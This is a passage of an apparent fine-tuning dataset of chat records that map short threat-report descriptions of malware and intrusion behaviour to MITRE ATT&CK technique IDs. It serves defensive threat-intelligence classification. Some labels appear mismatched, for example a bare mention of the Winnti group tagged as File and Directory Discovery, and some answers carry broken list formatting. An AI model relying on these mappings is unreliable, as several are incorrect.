                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can hook APIs, kill processes, break file system paths, and change ACLs to prevent security tools from running."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain screenshots from the victim."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RCSession can remove files from a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses custom base64 encoding to obfuscate HTTP traffic."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWizard has been signed by valid certificates assigned to Hermetica Digital."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 leveraged spearphishing emails with malicious attachments to initially compromise victims."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FELIXROOT deletes the Registry key \"HKCU\\Software\\Classes\\Applications\\rundll32.exe\\shell\\open\"."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has relied on users to download and execute malicious Docker images."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can upload, download, and execute files on the victim."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "78 runin.bin List of processes names and associated plugins should be run inside these processes"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Goopy has impersonated the legitimate goopdate.dll, which was dropped on the target system with a legitimate GoogleUpdate.exe."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects information on running processes and environment variables from the victim."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Micropsia has keylogging capabilities."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gazer identifies a proxy server if it exists and uses it to make HTTP requests."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZLib has the ability to download files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects keystrokes from the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SodaMaster can use \"RegOpenKeyW\" to access the Registry."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NativeZone can display an RTF document to the user  to enable execution of  Cobalt Strike stage shellcode."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Epic uses the \"net use\", \"net session\", and \"netstat\" commands to gather information on network connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream has the ability to discover processes, including `Bka.exe` and `BkavUtil.exe`."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CosmicDuke contains a custom version of the RC4 algorithm that includes a programming error."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windows Management Instrumentation WMI is an administrative framework that is built into every version of Windows since 2000"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has searched compromised systems for folders of interest including those related to HR, audit and expense, and meeting memos."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Diavol can spread throughout a network via SMB prior to encryption."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The arp.exe command is used to display and modify entries in the Address Resolution Protocol (ARP) cache. Adversaries may attempt to use the command to discover remote systems they could compromise"
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used the Office Test persistence mechanism within Microsoft Office by adding the Registry key HKCU\\Software\\Microsoft\\Office test\\Special\\Perf to execute code."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors used legitimate credentials of banking employees to perform operations that sent them millions of dollars."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream can send compressed and obfuscated packets to C2."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes ipconfig /all after initial communication is made to the remote server."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can conduct brute force attacks to capture credentials."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 used encoded PowerShell commands to install Cobalt Strike on compromised systems. The attacker made use of Cobalt Strike’s “psexec” lateral movement command to create a Windows service named with a random 16-character string on the target system and execute encoded PowerShell. In some cases, the encoded PowerShell commands were used to download and execute content hosted on the paste site hxxps://pastebin[.]com"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service', 'T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aside from security programs and other programs used daily that can be used to profile its targets, the DUBNIUM malware also checks for various program analysis tools including Pin and DynamoRIO. It also checks for a virtual machine environment. If some of these are detected, it quits its execution. Overall, the malware is very cautious and deterministic in running its main code"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "3PARA RAT has a command to retrieve metadata for files on disk as well as a command to list the current working directory."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman can use TLS to encrypt its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ObliqueRAT has the ability to recursively enumerate files on an infected endpoint."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious_truth.jpg”, which likely has a fake JPG header. Next it checks that HKU\\SOFTWARE\\Microsoft\\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware. We believe that this was used to execute a customized Cobalt Strike BEACON"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mongall can establish persistence with the auto start function including using the value `EverNoteTrayUService`."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally, the payloads were almost never repeated. The threat actor made sure that each payload had a unique hash, and some payloads were packed using different types of packers, both known and custom"
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools', 'T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can query for information contained within the Windows Registry."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot has the ability to determine the domain name and whether a proxy is configured on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This step establishes the persistence of the malware across reboots on the endpoint - Once the decrypted MZ marker is written to the Startup folder, the 2.hwp is deleted from the endpoint"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Its main functions are:  Brute-force using a pre-defined list of usernames and passwords in an attempt to login to Admin panels"
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the course of our research we uncovered the activity of a hacking group which has Chinese origins. This group was named “Winnti"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used the sticky-keys technique to bypass the RDP login screen on remote systems during intrusions."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content. Similarly, the VBA code then writes batch code to another text file - Audio.txt. The content of both files is shown in the appendix section of this report. Audio.bat continues by creating two scheduled tasks referencing two files that are yet to exist: dphc.exe will run every 10 minutes and Drive.vbs at 20 minute intervals. In the case of file 8892279f3. the remote location is http://185.203.119[.]184/Dropbox/request. and only continues if the file exists. 2) Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content. 3) Similarly, the VBA code then writes batch code to another text file - Audio.txt. 6) Audio.bat continues by creating two scheduled tasks referencing two files that are yet to exist: dphc.exe will run every 10 minutes and Drive.vbs at 20 minute intervals. In the case of file 8892279f3. the remote location is http://185.203.119[.]184/Dropbox/request"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Next, a Cobalt Strike binary was dropped on the endpoint as a .dll file and executed by rundll32.exe. With that, the intrusion began spreading laterally via Cobalt Strike. The operators used Windows Management Instrumentation (WMI) in their lateral movement attempt. WMI spawned cmd.exe, which subsequently spawned PowerShell with an encoded command line. This encoded PowerShell creates another Cobalt Strike Beacon. We’ve found that looking for encoded PowerShell is a great way to catch this specific evil and a lot of other evil, too. In this incident, we saw a command line that began with"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TSCookie can multiple protocols including HTTP and HTTPS in communication with command and control (C2) servers."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A scheduled task is also generated to maintain persistence of the payload"
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak has named malware \"svchost.exe,\" which is the name of the Windows shared service host program."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can gather browser usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Although tracking threats like Winnti involves old-fashioned investigative work, Microsoft Threat Intelligence analysts take advantage of machine learning to work at scale. When attackers used Winnti to maintain access to web servers, they hid the implant in plain sight by masquerading it as a trusted, legitimate file"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FYAnti can download additional payloads to a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can create hidden system directories."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly dropped and executed Hydra, a password cracker."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first dropped file, doc.exe, contains the CVE-2014-4113 exploit and then attempts to execute test.exe with the elevated privileges"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LookBack’s C2 proxy tool sends data to a C2 server over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After encryption, Diavol will capture the desktop background window, set the background color to black, and change the desktop wallpaper to a newly created bitmap image with the text “All your files are encrypted! For more information see “README-FOR-DECRYPT.txt\"."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a new sample of the REvil ransomware discovered by MalwareHunterTeam, a new -smode command-line argument was added that forces the computer to reboot into Safe Mode before encrypting a device"
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Boot Mode"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can use obfuscated and encoded scripts; it has also hidden code within Excel spreadsheets by turning the font color to white and splitting it across multiple cells."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "copies itself to an .exe file with a filename that is likely intended to imitate Norton Antivirus but has several letters reversed (e.g. notron.exe)."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After copying itself to a DLL file, a variant of  calls the DLL file using rundll32.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One significant change between DEATHRANSOM and FIVEHANDS is the use of a memory-only dropper, which upon execution, expects a command line switch of -key followed by the key value necessary to perform decryption of its payload. The payload is stored and encrypted with AES-128 using an IV of “85471kayecaxaubv”. The decrypted FIVEHANDS payload is immediately executed after decryption. To date, Mandiant has only observed encrypted droppers with a common imphash of 8517cf209c905e801241690648f36a97"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoisonIvy captures window titles."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX decompresses and decrypts itself using the Microsoft API call RtlDecompressBuffer."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has used Kerberoasting for credential access and to enable lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ADVSTORESHELL can perform keylogging."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Netwalker can terminate system processes and services, some of which relate to backup software."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body has the ability to capture screenshots on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "checks the running processes for evidence it may be running in a sandbox environment. It specifically enumerates processes for Wireshark and Sysinternals."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM tries to add a scheduled task to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can check for the presence of network sniffers, AV, and BitDefender firewall."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Babuk has the ability to check running processes on a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The SodomMain module is LookBack malware’s remote access Trojan module that can send and receive numerous commands indicative of its function as a RAT. The malware is delivered within the encoded data that is received by the SodomNormal module as part of its initial beacon response. It then runs within the SodomNormal module and uses its “send_data” function for C&amp;C communications"
            },
            {
                "role": "assistant",
